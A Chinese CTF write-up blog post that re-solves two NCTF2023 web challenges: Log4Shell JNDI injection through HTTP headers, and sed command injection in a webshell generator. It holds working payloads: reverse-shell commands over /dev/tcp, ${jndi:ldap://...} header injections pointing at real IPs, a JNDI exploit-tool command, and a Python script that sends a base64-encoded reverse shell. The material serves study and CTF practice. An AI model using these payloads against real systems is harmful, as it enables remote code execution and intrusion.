期末考完了,芜湖~~~~复工!
NCTF好巧不巧出在我们期末周复习的时间,当时也只是上线看了一点,有些题有点思路,但是还是因为积累知识不足,想不出什么姿势。
现在能复现出的就尽量看看吧。
logging
记忆犹新,因为队里一个佬来了一看,说是一眼签到题,哈哈哈哈哈哈。
Java安全以前没怎么接触过,后面看了下其他师傅的wp,就一个简单的payload就出了。
根据题目hint:
需要让Springboot控制台报错。
官方说法的核⼼思路是如何构造⼀个畸形的 HTTP 数据包使得 SpringBoot 控制台报错。
fuzz出Accept头存在log4j的漏洞。
⼀个思路是 Accept 头, 如果 mine type 类型不对控制台会调⽤ logger 输出⽇志:logging-web-1 | 2023-12-24 09:15:41.220 WARN 7 --- [nio-8080-exec-2] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframework.web.HttpMediaTypeNotAcceptableException: Could not parse 'Accept' header [123]: Invalid mime type "123": does not contain '/']另外还有 Host 头, 但是只能⽤⼀次, 第⼆次往后就不能再打印⽇志了 其实⼀些扫描器⿊盒也能直接扫出来 (例如 nuclei):
[CVE-2021-44228] [http] [critical] http://124.71.184.68:8011/ [accept,25db884fff4b]
后面就是JNDI注入。
这里了解了一下JNDI(Java Naming and Directory Interface,Java命名和目录接口)注入:
Java安全之JNDI注入 - nice_0e3 - 博客园 (cnblogs.com)
JNDI注入原理浅析-腾讯云开发者社区-腾讯云 (tencent.com)
JAVA安全之Log4j-Jndi注入原理以及利用方式_jndi注入的利用-CSDN博客
Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识_ove-2021-44228-CSDN博客
攻击流程:
这里用JNDI-Injection-Exploit工具可以一键出payload。
队里给的思路是pom.xml中日志依赖换成log4j,Accept字段打jndi反弹shell。 payload:bash -i >& /dev/tcp/vps/port 0>&1
//payload
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,<base64后的命令>}|{base64,-d}|{bash,-i}" -A xxxx
星盟wp里的过程:
用host请求头打:
GET / HTTP/1.1 Host: ${jndi:ldap://118.89.61.71:1389/Basic/ReverseShell/ip/port} Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
或用Accept请求头打:
GET / HTTP/1.1 Host: 124.71.184.68:8011 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8${jndi:ldap://ip:port/Basic/ReverseShell/ip/port} Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: aiovg_rand_seed=1362609461Upgrade-Insecure-Requests: 1
来自:NCTF2023 - Zer0peach can't think
Webshell Generator
这个我自己做的时候,感觉还挺好玩,直接能帮你出一个php的一句话木马,虽然自己写也很简单,所以就在想能不能把这个木马通过一定的方式写进后台,但是显然不能,姿势不对。
后面看了下hint:
download.php可以任意文件读。无权限读取/flag。
最后一个hint: 查询man⼿册sed, a stream editor (gnu.org)或互联⽹得知,GNU sed可以通过e指令执⾏系统命令。闭合原先的s指令,执 ⾏/readflag,会将flag插⼊到输出⽂件的第⼀⾏。⾃动跳转到download.php读取即可。、 sed指令可以通过换行符分隔,[也可以通过;分隔] sed, a stream editor (gnu.org)can be separated by semicolons (%3B)
看到:
<input name="key" type="text" value="114" pattern="[A-Za-z0-9]+" title="你的key太复杂了!简单点!o.O">
就一个简单的前端验证,直接F12修改页面源码或抓包软件绕过前端格式限制就行了。
然后在key栏提交:
/g;1e /readflag;s//
# 即:
# sed -i "s/KEY//g;1e /readflag;s///g" "$NEW_FILENAME"
s/KEY//g
这东西是个替换操作,将$NEW_FILENAME
这个文件里所有的KEY
都替换成空。;
用来分隔多个sed
命令。e
这东西可以用来执行系统命令(比如/readflag
),前面加个1
表示将执行结果插入到文件第一行。后面又用了一个;
分割并将所有空字符串替换成空字符串。
KEY
和METHOD
都可控,随便改一个就行。
官方wp也给了一种base64编码的反弹shell方法:Java Runtime Converter (sudokaikan.com)
import requests resp = requests.post("http://117.50.175.234:8001/index.php",data= {"language":"PHP","key":'''/g; 1e bash -c "{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTQuMTUuNTAvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}" #s//''',"method":"1","filename":"2"}) print(resp.status_code,resp.text)
星盟wp的过程如下:
后续这几天再更一下。
参考:
NCTF2023 - Zer0peach can't think
2023_NCTF_Web题目复现 - RenDongjun's Blog (notnad3.github.io)
2023 NCTF writeup-腾讯云开发者社区-腾讯云 (tencent.com)
NCTF 2023 Writeup - 星盟安全团队 (xmcve.com)
标签:NCTF2023,web,zh,Accept,JNDI,sed,wp,bash From: https://www.cnblogs.com/EddieMurphy-blogs/p/17962993